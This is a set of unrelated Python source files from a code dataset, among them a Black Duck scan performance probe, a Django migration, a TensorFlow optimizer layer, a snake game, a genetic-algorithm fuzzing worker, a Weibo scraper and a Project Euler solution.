[\n\t\t\t'--detect.hub.signature.scanner.disabled=true',\n\t\t\t'--detect.policy.check=true',\n\t\t\t'--blackduck.hub.trust.cert=true',\n\t\t]\n\t\tself.results = []\n\t\tself.csv_output_file = csv_output_file\n\t\tself.initial_threads = initial_threads\n\t\tself.iterations = iterations\n\t\t# Max threads is either user specified or a function of the cpu count\n\t\tself.max_threads = max_threads if (max_threads > 0) else multiprocessing.cpu_count()\n\t\tself.detect_output_base_dir = detect_output_base_dir\n\n\tdef detect_worker(self, test_project_d, iterations, test_config_d):\n\t\tlogging.debug(\"starting %s iterations to analyze project %s with config %s\" % (iterations, test_project_d, test_config_d))\n\t\tfolder = test_project_d['folder']\n\t\tproject_name = test_project_d['project_name']\n\t\tversion = test_project_d['version']\n\t\t# relocate the output files if a base dir was specified\n\t\tif self.detect_output_base_dir:\n\t\t\toutput_path = os.path.join(self.detect_output_base_dir, folder)\n\t\telse:\n\t\t\toutput_path = folder\n\t\toptions = [\n\t\t\t\t'--detect.project.name=%s' % project_name,\n\t\t\t\t'--detect.project.version.name=%s' % version,\n\t\t\t\t'--detect.source.path=%s' % folder,\n\t\t\t\t'--detect.output.path=%s_output' % output_path,\n\t\t\t]\n\t\toptions.extend(self.detect_options)\n\t\tfor i in range(iterations):\n\t\t\tlogging.debug('iteration %s for project %s' % (i + 1, test_project_d))\n\n\t\t\t# using hard-coded hub detect version for now since the newest version, v3.2.0 breaks some things\n\t\t\thub_detect_wrapper = HubDetectWrapper(\n\t\t\t\tself.hub_url, \n\t\t\t\tself.hub_user, \n\t\t\t\tself.hub_password, \n\t\t\t\tadditional_detect_options=options,\n\t\t\t\tdetect_path=\"./hub-detect-3.1.1.jar\")\n\t\t\tthread_project_results = hub_detect_wrapper.run()\n\t\t\tthread_project_results.update(test_config_d)\n\t\t\tself.results.append(thread_project_results)\n\t\t\tlogging.debug('results for project %s are %s' % (test_project_d, thread_project_results))\n\t\tlogging.debug(\"thread exiting after performing %s iterations on project %s\" % (iterations, test_project_d))\n\t\t\n\tdef _flatten_results(self):\n\t\tflattened_results = []\n\t\tfor result in self.results:\n\t\t\tcomponent_info = result['component_info']\n\t\t\tdel result['component_info']\n\t\t\tresult.update(component_info)\n\t\t\tflattened_results.append(result)\n\t\treturn flattened_results\n\n\tdef _results_as_csv(self):\n\t\tflattened_results = self._flatten_results()\n\t\tkeys = flattened_results[0].keys()\n\t\twith open(self.csv_output_file, 'w') as output_file:\n\t\t\tdict_writer = csv.DictWriter(output_file, keys)\n\t\t\tdict_writer.writeheader()\n\t\t\tdict_writer.writerows(flattened_results)\n\n\tdef run(self):\n\t\tthreads = []\n\t\tanalysis_iterations = self.iterations\n\t\tnum_threads = self.initial_threads\n\t\tcpu_count = multiprocessing.cpu_count()\n\t\ttest_config = {'max_threads': self.max_threads, 'cpu_cout': cpu_count, 'iterations': analysis_iterations}\n\n\t\tstart = datetime.now()\n\t\tlogging.debug(\"Probing started\")\n\t\twhile num_threads <= self.max_threads:\n\t\t\ttest_config['num_threads'] = num_threads\n\t\t\tfor i in range(num_threads):\n\t\t\t\ttest_project = TEST_PROJECTS[i]\n\t\t\t\tnew_thread = threading.Thread(target=self.detect_worker, args=(test_project, analysis_iterations, test_config,))\n\t\t\t\tthreads.append(new_thread)\n\t\t\t\tnew_thread.start()\n\t\t\tfor t in threads:\n\t\t\t\tt.join()\n\t\t\tlogging.debug(self.results)\n\t\t\tnum_threads *= 2\n\n\t\tself._results_as_csv()\n\n\t\tfinish = datetime.now()\n\t\tlogging.debug(\"Finished probing, elapsed time %s\" % (finish - start))\n\ndef copy_results_to_s3(results_file, s3bucket):\n\ts3 = boto3.resource('s3')\n\tdata = open(results_file, 'rb')\n\ts3.Bucket(s3bucket).put_object(Key=results_file, Body=data)\n\nif __name__ == \"__main__\":\n\timport argparse\n\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\"url\")\n\tparser.add_argument(\"username\", default=\"sysadmin\")\n\tparser.add_argument(\"password\", default=\"blackduck\")\n\tparser.add_argument(\"--csvfile\", default=\"/var/log/hub-performance-results.csv\", help=\"Where to write the results in CSV format (default: out.csv\")\n\tparser.add_argument(\"--detectoutputbasedir\", default=\"/var/log/hub_probe_outputs\", help=\"Override where detect output files are written. Useful when running the probe inside a docker container and you wnat to write to a host mounted volume\")\n\tparser.add_argument(\"--description\", help=\"A description that will be included in the test results\")\n\tparser.add_argument(\"--iterations\", type=int, default=4)\n\tparser.add_argument(\"--logfile\", default=\"/var/log/hub_probe.log\", help=\"Where to log the hub performance probe output\")\n\tparser.add_argument(\"--loglevel\", choices=[\"CRITICAL\", \"DEBUG\", \"ERROR\", \"INFO\", \"WARNING\"], default=\"DEBUG\", help=\"Choose the desired logging level - CRITICAL, DEBUG, ERROR, INFO, or WARNING. (default: DEBUG)\")\n\tparser.add_argument(\"--s3bucket\", default=None, help=\"If given, the results will be copied to the bucket using the CSV file name - assumes AWS is configured properly to provide write access to the bucket.\")\n\tparser.add_argument(\"--maxthreads\", type=int, default=-1)\n\targs = parser.parse_args()\n\n\tlogging_levels = {\n\t\t'CRITICAL': logging.CRITICAL,\n\t\t'DEBUG': logging.DEBUG,\n\t\t'ERROR': logging.ERROR,\n\t\t'INFO': logging.INFO,\n\t\t'WARNING': logging.WARNING,\n\t}\n\tlogging.basicConfig(filename=args.logfile, format='%(threadName)s: %(asctime)s: %(levelname)s: %(message)s', level=logging_levels[args.loglevel])\n\n\thpp = HubPerformanceProbe(\n\t\thub_url=args.url, \n\t\thub_user=args.username, \n\t\thub_password=args.password, \n\t\tcsv_output_file=args.csvfile, \n\t\titerations=args.iterations,\n\t\tmax_threads=args.maxthreads,\n\t\tdetect_output_base_dir=args.detectoutputbasedir)\n\thpp.run()\n\n\tif args.s3bucket:\n\t\tcopy_results_to_s3(hpp.csv_output_file, args.s3bucket)\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"hub_performance_probe.py","file_name":"hub_performance_probe.py","file_ext":"py","file_size_in_byte":6968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"380982694","text":"def convert(s, numRows):\n\tif numRows==1:\n\t\treturn s\n\tbuff = []\n\tans = \"\"\n\tfor i in range(numRows):\n\t\tbuff.append([])\n\tfor j in range(len(s)):\n\t\tidx = j%(2*numRows-2)\n\t\tif idx>=numRows:\n\t\t\tidx = 2*numRows - 2 - idx\n\t\tbuff[idx].append(s[j])\n\tfor lst in buff:\n\t\tfor elem in lst:\n\t\t\tans+=elem\n\treturn ans\n\ns1 = \"PAYPALISHIRING\"\ns2 = \"ABC\"\nprint(convert(s1,3))\nprint(convert(s2,1))","sub_path":"Algorithms/NO006ZigZagConversion.py","file_name":"NO006ZigZagConversion.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"114679068","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Project',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('projectname', models.CharField(max_length=255)),\n ('projectcode', models.CharField(max_length=255)),\n ('starttime', models.DateTimeField(null=True, blank=True)),\n ('endtime', models.DateTimeField(null=True, blank=True)),\n ('desc', models.TextField(null=True, blank=True)),\n ('createuserid', models.IntegerField()),\n ],\n ),\n migrations.CreateModel(\n name='Projectmodule',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=50)),\n ('parentid', models.IntegerField()),\n ('desc', models.TextField(null=True, blank=True)),\n ('createuserid', models.IntegerField()),\n ],\n ),\n migrations.CreateModel(\n name='Task',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=255)),\n ('desc', models.TextField(null=True, blank=True)),\n ('projectid', models.IntegerField()),\n ('createuserid', models.IntegerField()),\n ('attnid', models.IntegerField()),\n ('starttime', models.DateTimeField(null=True, blank=True)),\n ('estimatetime', models.DateTimeField(null=True, blank=True)),\n ('endtime', models.DateTimeField(null=True, blank=True)),\n ('version', models.CharField(max_length=20)),\n ('status', models.CharField(max_length=10)),\n ('priority', models.CharField(default=b'general', max_length=10, choices=[(b'urgent', b'urgent'), (b'priority', b'priority'), (b'general', b'general'), (b'behind', b'behind')])),\n ],\n ),\n ]\n","sub_path":"project/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"42415627","text":"import sys\nimport subprocess\nimport unittest\nfrom AcuityService.acuityservice import acuityservice\nfrom datetime import datetime\nfrom datetime import timedelta\n\n\nclass GETTestCases(unittest.TestCase):\n \"\"\"Tests all acuityservice methods that use a GET request. \"\"\"\n\n @classmethod\n def setUp(self):\n self.acuity = acuityservice()\n self.r = None\n\n self.appt_date = get_date_within_business_hours()\n self.appt_type = self.acuity.get_appointment_types()[1]['id']\n self.firstName = \"Logan\"\n self.LastName = \"Is Testing\"\n self.Email = \"testing@wishitwasover.com\"\n self.Calendar_Id = self.acuity.get_calendars()[0]['id']\n\n\n\n\n def test_create_appointment_and_cancel_appointment(self):\n self.r = self.acuity.create_appointment(self.appt_date.isoformat(), self.appt_type, self.firstName, self.LastName, self.Email, self.Calendar_Id)\n self.cancel = self.acuity.cancel_appointment(self.r['id'])\n self.assertEqual(self.r['id'], self.cancel['id'])\n\n \n\n\n @classmethod\n def tearDown(self):\n del self.acuity\n del self.r\n\nif __name__ == '__main__':\n if '--unittest' in sys.argv:\n subprocess.call([sys.executable, '-m', 'unittest', 'discover'])\n\n\ndef get_date_within_business_hours():\n d = datetime.now() + timedelta(days = 5)\n\n if d.weekday() > 4:\n d = d + datetime.timedelta(days = 2)\n\n return d.replace(hour = 11, minute = 0)\n","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"475873621","text":"# -*- coding: utf-8 -*-\nfrom ..layer_operation import LayerOperation\nimport tensorflow as tf\nimport re\n\nclass op_tf_c_adamoptimizer(LayerOperation):\n\n _attributes = \"\"\"[\\\n {\"default\": 0.9, \"source\": \"opt\", \"mandatory\": \"tf\", \"name\": \"beta1\"},\\\n {\"default\": 0.999, \"source\": \"opt\", \"mandatory\": \"tf\", \"name\": \"beta2\"}, \\\n {\"default\": 1e-08, \"source\": \"opt\", \"mandatory\": \"tf\", \"name\": \"epsilon\"}]\"\"\"\n\n\n\n def compile_time_operation(self, learning_option, cluster):\n pass\n\n def run_time_operation(self, learning_option, cluster):\n def apiConstructor(input_, learning_rate, beta1, beta2, epsilon):\n adamopt = tf.train.AdamOptimizer(learning_rate, beta1=beta1, beta2=beta2, epsilon=epsilon)\n adamopt_ = adamopt.minimize(input_, colocate_gradients_with_ops=True, global_step=global_step)\n return adamopt_\n\n learning_rate = learning_option.get(\"learning_rate\")\n beta1 = learning_option.get(\"beta1\", self.beta1)\n beta2 = learning_option.get(\"beta2\", self.beta2)\n epsilon = learning_option.get(\"epsilon\", self.epsilon)\n input_ = self.get_input('loss')\n\n device = self.get_attr('device')\n num = re.sub('[^0-9]', '', cluster.get('types')[device])\n type = cluster.get('types')[device].replace(str(num), '')\n\n with tf.name_scope(self.name) as scope:\n global_step = tf.train.get_or_create_global_step()\n if learning_option.get(\"parallel\", None) != \"DP\":\n with tf.device('/job:worker/task:{0}/{1}:{2}'.format(device, type, num)):\n adamopt_ = apiConstructor(input_, learning_rate, beta1, beta2, epsilon)\n else:\n adamopt_ = apiConstructor(input_, learning_rate, beta1, beta2, epsilon)\n self.set_output('output', adamopt_)\n self.set_output('global_step', global_step)","sub_path":"src/DLMDL/LayerOperation/tf.old/c_adamoptimizer.py","file_name":"c_adamoptimizer.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"538958725","text":"import os\r\nimport turtle\r\nimport time\r\nimport random\r\nimport ctypes\r\n\r\n\r\ndelay = 0.1\r\n# Scoring\r\nscore = 0\r\nhigh_score = 0\r\n# making the Screen ....\r\nwn = turtle.Screen()\r\nwn.title(\"Snake\")\r\nwn.bgcolor('green')\r\nwn.setup(width=600,height=600)\r\nwn.tracer(0) # turns of the screen update\r\n\r\n# Snake head\r\nhead = turtle.Turtle()\r\nhead.speed(0)\r\nhead.shape(\"square\")\r\nhead.color('black')\r\nhead.penup()\r\nhead.goto(0,0)\r\nhead.direction='stop'\r\n\r\n# snake food\r\nfood = turtle.Turtle()\r\nfood.speed(0)\r\nfood.shape(\"circle\")\r\nfood.color('red')\r\nfood.shapesize(0.75,0.75)\r\nfood.penup()\r\nfood.goto(0,100)\r\n\r\nsegments = []\r\n # pen\r\npen = turtle.Turtle()\r\npen.speed(0)\r\npen.shape(\"square\")\r\npen.color(\"white\")\r\npen.penup()\r\npen.hideturtle()\r\npen.goto(0,260)\r\npen.write(\"Score : 0 High Score: 0\",align=\"center\",font=(\"courier\",24,\"normal\"))\r\n\r\n\r\n# functions\r\ndef go_up():\r\n if head.direction != \"down\":\r\n head.direction =\"up\"\r\ndef go_down():\r\n if head.direction != \"up\":\r\n head.direction =\"down\"\r\ndef go_left():\r\n if head.direction != \"right\":\r\n head.direction =\"left\"\r\ndef go_right():\r\n if head.direction != \"left\":\r\n head.direction =\"right\"\r\ndef stop():\r\n head.direction=\"stop\"\r\n\r\ndef move():\r\n if head.direction ==\"up\":\r\n y = head.ycor()\r\n head.sety(y+20)\r\n if head.direction ==\"down\":\r\n y = head.ycor()\r\n head.sety(y-20)\r\n if head.direction ==\"left\":\r\n x = head.xcor()\r\n head.setx(x-20)\r\n if head.direction ==\"right\":\r\n x = head.xcor()\r\n head.setx(x+20)\r\n\r\n# keyboard binding\r\nwn.listen()\r\nwn.onkeypress(go_up,\"Up\")\r\nwn.onkeypress(go_down,\"Down\")\r\nwn.onkeypress(go_left,\"Left\")\r\nwn.onkeypress(go_right,\"Right\")\r\nwn.onkeypress(stop,\"0\")\r\n\r\n\r\n# main game loop\r\nwhile True:\r\n wn.update()\r\n # check for collision with the border\r\n if head.xcor() > 290 or head.xcor() < -290 or head.ycor() >290 or head.ycor()<-290:\r\n val = ctypes.windll.user32.MessageBoxW(0, \"Play again or not\", \"Game Says\", 5+64)\r\n if val == 4:\r\n time.sleep(1)\r\n score = 0\r\n head.goto(0,0)\r\n head.direction=\"stop\"\r\n pen.clear()\r\n pen.write(\"Score : {} High Score: {}\".format(score,high_score),align=\"center\",font=(\"courier\",24,\"normal\"))\r\n else:\r\n pass # .clear() ,. reset() ,.clearscreen(), .resetscreen() ,.bye()\r\n\r\n\r\n # Hide the segments :\r\n for segment in segments:\r\n segment.goto(1000,1000)\r\n # Clear the segments\r\n segments.clear() # or segments = []\r\n\r\n # check food collision\r\n if head.distance(food)<20:\r\n # move food at random place\r\n x = random.randint(-290,290)\r\n y = random.randint(-290,250)\r\n food.goto(x,y)\r\n # add a segment\r\n new_segment = turtle.Turtle()\r\n new_segment.speed(0)\r\n new_segment.shape(\"circle\")\r\n new_segment.color(\"grey\")\r\n new_segment.penup()\r\n segments.append(new_segment)\r\n # Increase the score\r\n score +=1\r\n if score > high_score and high_score !=0:\r\n score = high_score\r\n\r\n pen.clear()\r\n pen.write(\"Score : {} High Score: {}\".format(score,high_score),align=\"center\",font=(\"courier\",24,\"normal\"))\r\n\r\n # move the end segmennt\r\n for index in range(len(segments)-1,0,-1):\r\n x = segments[index-1].xcor()\r\n y = segments[index-1].ycor()\r\n segments[index].goto(x,y)\r\n #move segment 0 to where the head is\r\n if len(segments) > 0:\r\n x = head.xcor()\r\n y = head.ycor()\r\n segments[0].goto(x,y)\r\n move()\r\n\r\n # check for body collision\r\n for segment in segments:\r\n if segment.distance(head)<20:\r\n time.sleep(1)\r\n head.goto(0,0)\r\n head.direction=\"stop\"\r\n # Hide the segments :\r\n for segment in segments:\r\n segment.goto(1000,1000)\r\n # Clear the segments\r\n segments.clear()\r\n time.sleep(delay)\r\nwn.mainloop()","sub_path":"snake-game.py","file_name":"snake-game.py","file_ext":"py","file_size_in_byte":4031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"641183631","text":"# -*- coding:utf-8 -*-\nimport os,sys\nimport re\nimport scrapy\nfrom bs4 import BeautifulSoup\nfrom SinaSpider.items import TweetsItem, CommentItem\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nclass Spider(scrapy.Spider):\n\tname = \"sinaSpiderToDB\"\n\thost = \"http://weibo.cn\"\n\tstart_urls = [\n\t\t1751675285, 5235640836, 5676304901, 5871897095, 2139359753, 5579672076, 2517436943, 5778999829, 5780802073, \n\t\t2159807003,\n\t\t1756807885, 3378940452, 5762793904, 1885080105, 5778836010, 5722737202, 3105589817, 5882481217, 5831264835,\n\t\t2717354573, 3637185102, 1934363217, 5336500817, 1431308884, 5818747476, 5073111647, 5398825573, 2501511785,\n\t]\n\tscrawl_ID = set(start_urls)\n\tfinish_ID = set()\n\n\tdef start_requests(self):\n\t\twhile True:\n\t\t\tID = self.scrawl_ID.pop()\n\t\t\tself.finish_ID.add(ID)\n\t\t\tID = str(ID)\n\t\t\turl_tweets = \"http://weibo.cn/%s/profile?filter=1&page=1\" % ID\n\t\t\tyield scrapy.Request(url=url_tweets, meta={\"ID\": ID}, callback=self.parse)\n\n\tdef parse(self, response):\n\t\tID = response.meta[\"ID\"]\n\t\tsoup = BeautifulSoup(response.body_as_unicode(),\"lxml\")\n\t\ttweets = soup.find_all(class_='c',id=True)\n\t\tfor tweet in tweets:\n\t\t\ttweetsItems = TweetsItem()\n\t\t\t_id = tweet.get(\"id\")\n\t\t\tcontent = tweet.find(class_='ctt')\n\t\t\tlike = re.findall(u'\\u8d5e\\[(\\d+)\\]', tweet.getText()) # 点赞数\n\t\t\ttransfer = re.findall(u'\\u8f6c\\u53d1\\[(\\d+)\\]', tweet.getText()) # 转载数\n\t\t\tcomment = re.findall(u'\\u8bc4\\u8bba\\[(\\d+)\\]', tweet.getText()) # 评论数\n\t\t\tothers = tweet.find(class_='ct') # 求时间和使用工具(手机或平台)\n\n\t\t\ttweetsItems[\"ID\"] = response.meta[\"ID\"]\n\t\t\ttweetsItems[\"_id\"] = response.meta[\"ID\"] + \"-\" + _id\n\t\t\tif content:\n\t\t\t\ttweetsItems[\"Content\"] = content.getText().strip(u\"[\\u7ec4\\u56fe\\u5171(\\d+)\\u5f20]\") # 去掉最后的\"[组图共x张]\"\n\t\t\tif like:\n\t\t\t\ttweetsItems[\"Like\"] = int(like[0])\n\t\t\tif transfer:\n\t\t\t\ttweetsItems[\"Transfer\"] = int(transfer[0])\n\t\t\tif comment:\n\t\t\t\ttweetsItems[\"Comment\"] = int(comment[0])\n\t\t\tif others:\n\t\t\t\tothers = others.getText().split(u\"\\u6765\\u81ea\")\n\t\t\t\ttweetsItems[\"PubTime\"] = others[0]\n\t\t\t\tif len(others) == 2:\n\t\t\t\t\ttweetsItems[\"Tools\"] = others[1]\n\t\t\tif content:\n\t\t\t\tyield tweetsItems\n\n\t\t\tif tweetsItems[\"Comment\"] > 0:\n\t\t\t\tcommentUrls = tweet.find_all(class_=\"cc\")\n\t\t\t\tif commentUrls:\n\t\t\t\t\tfor commentUrl in commentUrls:\n\t\t\t\t\t\ttemp = response.meta[\"ID\"] + \"-\" + _id\n\t\t\t\t\t\tyield scrapy.Request(url=commentUrl.get('href'), meta={\"ID\": temp }, callback=self.parse_comment)\n\n\t\turlPage = soup.find(id='pagelist')\n\t\tif urlPage:\n\t\t\turl_next = urlPage.find('a',text='\\u4e0b\\u9875')\n\t\t\tif url_next:\n\t\t\t\tyield scrapy.Request(url=self.host + url_next.get('href'), meta={\"ID\": response.meta[\"ID\"]}, callback=self.parse)\n\n\tdef parse_comment(self, response):\n\t\tsoup = BeautifulSoup(response.body_as_unicode(),\"lxml\")\n\t\tcomments = soup.find_all(class_='c', id=re.compile('C_(.*)'))\n\t\tID = response.meta[\"ID\"]\n\t\tfor comment in comments:\n\t\t\tcommentItem = CommentItem()\n\t\t\t_id = comment.get('id')\n\t\t\tcommentItem['ID'] = response.meta['ID']\n\t\t\tcommentItem['_id'] = response.meta['ID'] + '-' + _id\n\t\t\tcnt = comment.find(class_='ctt')\n\n\t\t\tlike = re.findall(u'\\u8d5e\\[(\\d+)\\]', comment.getText()) # 点赞数\n\t\t\tif like:\n\t\t\t\tcommentItem[\"Like\"] = int(like[0])\n\t\t\tif cnt:\n\t\t\t\tcnt = re.compile(u'回复@(.*):').sub('', cnt.getText())\n\t\t\t\tcommentItem['Content'] = cnt \t\t\t# 评论内容\n\t\t\t\tyield commentItem\n\n\t\tnextPage = soup.find(id='pagelist')\n\t\tif nextPage:\n\t\t\tnextUrl = nextPage.find('a',text='\\u4e0b\\u9875')\n\t\t\tif nextUrl:\n\t\t\t\tyield scrapy.Request(url=self.host + nextUrl.get('href'), meta={\"ID\": response.meta['ID']}, callback=self.parse_comment)\n","sub_path":"SinaSpider/SinaSpider/spiders/sinaSpiderToDB.py","file_name":"sinaSpiderToDB.py","file_ext":"py","file_size_in_byte":3597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"318820356","text":"import urllib3\nimport requests\nfrom logger import Logger\nimport json\n\nclass DataProvider:\n\n def __init__(self):\n self.logger = Logger()\n\n def get_state_and_city_by_team_id(self, team_id):\n url = \"https://sportsrivals.cronelea.ie/sportsrivals-data-service/api/teams/\" + team_id\n\n try:\n result = requests.get(url)\n\n if (result.status_code == 200):\n\n team_dict = json.loads(result.text)\n\n state_url = team_dict[\"_links\"][\"state\"]['href']\n city_url = team_dict[\"_links\"][\"city\"]['href']\n\n state_result = requests.get(state_url)\n city_result = requests.get(city_url)\n\n if (state_result.status_code == 200 and\n city_result.status_code == 200):\n\n state_dict = json.loads(state_result.text)\n city_dict = json.loads(city_result.text)\n\n return state_dict[\"id\"], city_dict[\"id\"]\n\n else:\n self.logger.info_log(\"Error Getting Team From Api Id: \" + team_id)\n except TimeoutError:\n self.logger.info_log(\"REST request has timed out\")\n except urllib3.exceptions.NewConnectionError:\n self.logger.info_log(\"REST new connection error\")\n except urllib3.exceptions.MaxRetryError:\n self.logger.info_log(\"REST max retry error\")\n except requests.exceptions.ConnectionError:\n self.logger.info_log(\"REST connection error\")\n except:\n self.logger.info_log(\"REST error\")\n\n\n\n def get_teams_for_city_by_id(self, city_id):\n\n url = \"https://sportsrivals.cronelea.ie/sportsrivals-data-service/api/teams/search/findByCity?id=\" + city_id\n\n cities_result = requests.get(url)\n\n if(cities_result.status_code == 200):\n cities_team_dict = {}\n cities_dict = json.loads(cities_result.text)\n city_teams = cities_dict[\"_embedded\"][\"teams\"]\n for team in city_teams:\n cities_team_dict[team[\"id\"]] = team[\"rating\"]\n return cities_team_dict\n else:\n self.logger.info_log(\"Could Not Get Teams For CityId: \" + city_id)\n\n def get_teams_for_state_by_id(self, state_id):\n\n url = \"https://sportsrivals.cronelea.ie/sportsrivals-data-service/api/teams/search/findByState?id=\" + state_id\n\n states_result = requests.get(url)\n\n if (states_result.status_code == 200):\n state_team_dict = {}\n states_dict = json.loads(states_result.text)\n state_teams = states_dict[\"_embedded\"][\"teams\"]\n for team in state_teams:\n state_team_dict[team[\"id\"]] = team[\"rating\"]\n return state_team_dict\n else:\n self.logger.info_log(\"Could Not Get Teams For StateId: \" + state_id)\n","sub_path":"src/data_provider.py","file_name":"data_provider.py","file_ext":"py","file_size_in_byte":2850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"175995791","text":"import sys\r\nfrom population import Population\r\nimport utils\r\n\r\nclass Worker:\r\n 'Worker class that holds a population and operations over it'\r\n # comment\r\n\r\n def __init__(self,\r\n evalFunctor, # self explaining\r\n populationSize, # how big is the population\r\n individualLength, # length of an individual (number of bytes in the input in our case)\r\n maxIterations, # max iterations for new generations\r\n elitismPercent, # percent of the best individula from the old population to store in the new one\r\n oldGenerationSelectProbability, # How many individuals to select randomly from the old population that are not elite (ignoring their scores). Reason - create more diversity\r\n mutateProbability, # probability of a mutation\r\n deltaMutateProbability, # how much to increase mutation probability if we are stuck\r\n epsilonToIncreaseMutation, # if nothing changes between consecutive generations ( avgFitness(Generation1) - avgFitness(Generation2) < epislon) go and apply the deltaMutate\r\n runningInParallel, tracerProcessCmd, tracerProcessPayloadSize): # need to know this in order to do some different code / serialization / optimizations\r\n\r\n # Immutable members internal members # TODO how to maark them better ?\r\n self.evalFunctor = evalFunctor\r\n self.evalFunctor.parentWorker = self\r\n self.retainPercent = elitismPercent\r\n self.oldGenerationSelectP = oldGenerationSelectProbability\r\n self.individualLength = individualLength\r\n self.populationSize = populationSize\r\n self.maxIterations = maxIterations\r\n self.baseMutateP = mutateProbability\r\n self.deltaMutateP = deltaMutateProbability\r\n self.epsilonToIncreaseMutation = epsilonToIncreaseMutation\r\n\r\n # Mutable memebers\r\n self.population = Population(evalFunctor, individualLength, populationSize)\r\n self.currentMutateP = mutateProbability\r\n self.isRunningInParallel = runningInParallel\r\n self.tracerProcessCmd = tracerProcessCmd\r\n self.tracerProcessPayloadSize = tracerProcessPayloadSize\r\n\r\n def getFitness(self, individual):\r\n return self.evalFunctor(individual) # individual is a string stream for the test program\r\n\r\n def __str__(self):\r\n return str(self.population)\r\n\r\n def adjustMutationRatio(self, genId, debugEachGeneration):\r\n # Do mutation adjustements if not getting any improvements. TODO: move this func and parameters to a class to simulate a strategy pattern\r\n # At each 5 th generations if avg fitness doesn't modify try to increase mutation probability. Could do at each iteration but doesn't worth the cycles probably\r\n if genId % 5 == 0:\r\n avgFitness = self.population.getAvgFitness();\r\n #print(\"generation \" + str(genId) + \" avg fitness \" + str(avgFitness))\r\n if abs(self.lastAvgFitness - avgFitness) < self.epsilonToIncreaseMutation:\r\n self.currentMutateP = self.baseMutateP + self.deltaMutateP\r\n\r\n if debugEachGeneration:\r\n print (\"using the extended mutation probability \" + str(self.currentMutateP))\r\n else:\r\n self.currentMutateP = self.baseMutateP\r\n\r\n if debugEachGeneration:\r\n print (\"Returning back to normal mutation probability \" + str(self.currentMutateP))\r\n\r\n self.lastAvgFitness = avgFitness\r\n\r\n # Combines the best results from both\r\n def combine(self, other):\r\n self.population.combine(other.population)\r\n\r\n # Static reduce function\r\n def reduce(worker1, worker2):\r\n worker1.combine(worker2)\r\n return worker1\r\n\r\n def updateTracerProcess(self):\r\n if self.isRunningInParallel:\r\n self.evalFunctor.tracerProcess = utils.createTracerProcess(self.tracerProcessCmd, self.tracerProcessPayloadSize)\r\n\r\n # Generates a specified number of iterations\r\n def solve(self, debugEachGeneration=False):\r\n\r\n # TODO CPaduraru: workaround - Need to create the process at each new folder step. Still a huge improvement but would be nice if someone on stackoverflow would respond me how to serialize a process / keep one per executor\r\n self.updateTracerProcess();\r\n\r\n self.lastAvgFitness = sys.float_info.max\r\n self.population.generateRandom()\r\n\r\n for genId in range(self.maxIterations):\r\n if debugEachGeneration:\r\n print(\"========== Generation \" + str(genId) + \" ==========\")\r\n print(str(self))\r\n\r\n # internal update of the generation\r\n self.population.updateGeneration(self.retainPercent, self.oldGenerationSelectP, self.currentMutateP)\r\n\r\n # Do mutation adjustements if not getting any improvements\r\n self.adjustMutationRatio(genId, debugEachGeneration)\r\n\r\n # TODO CPaduraru: workaround - stop the process - see the comment above\r\n if self.isRunningInParallel:\r\n utils.stopTracerProcess(self.evalFunctor.tracerProcess)\r\n self.evalFunctor.tracerProcess = None\r\n\r\n return self\r\n","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"61254157","text":"##The cube, 41063625 (3453), can be permuted to produce two other cubes: 56623104\n##(3843) and 66430125 (4053). In fact, 41063625 is the smallest cube which has\n##exactly three permutations of its digits which are also cube.\n##\n##Find the smallest cube for which exactly five permutations of its digits are\n##cube.\n\nfrom time import time\n\nt_start = time()\n\ndef make_num_dict(n):\n num_str = str(n)\n num_dict = {}\n for num in num_str:\n try:\n num_dict[num] += 1\n except:\n num_dict[num] = 1\n return num_dict\n\ncube_list = []\n\nfor i in range(400, 10000):\n cube_list.append(i**3)\n\nnum_dict_list = []\n\nfor n in cube_list:\n num_dict_list.append(make_num_dict(n))\n\nfor i in range(0, len(num_dict_list)):\n count = 0\n for j in range(0, len(num_dict_list)):\n if len(str(cube_list[j])) > len(str(cube_list[i])):\n break\n if num_dict_list[i] == num_dict_list[j]:\n count += 1\n if count == 5:\n print(cube_list[i])\n break\n\nprint(time() - t_start)\n\n## Brian's code\n\n \n##import itertools\n##\n##def cubic_permutations(N):\n## sorted_cubes={}\n## possible_answers=[]\n## for c in (x**3 for x in itertools.count(1)):\n## s = ''.join(sorted(str(c)))\n## if possible_answers and len(s) > digits:\n## # Can now rely on last digit result being complete\n## # Need to check no more permuations were added.\n## possible_answers = [l for l in possible_answers if len(l)==N]\n## \n## if possible_answers:\n## return min(map(min, possible_answers))\n## \n## l = sorted_cubes.setdefault(s,[])\n## l.append(c)\n## if len(l)==N:\n## possible_answers.append(l)\n## digits=len(s)\n## \n##print cubic_permutations(5)\n\n \n 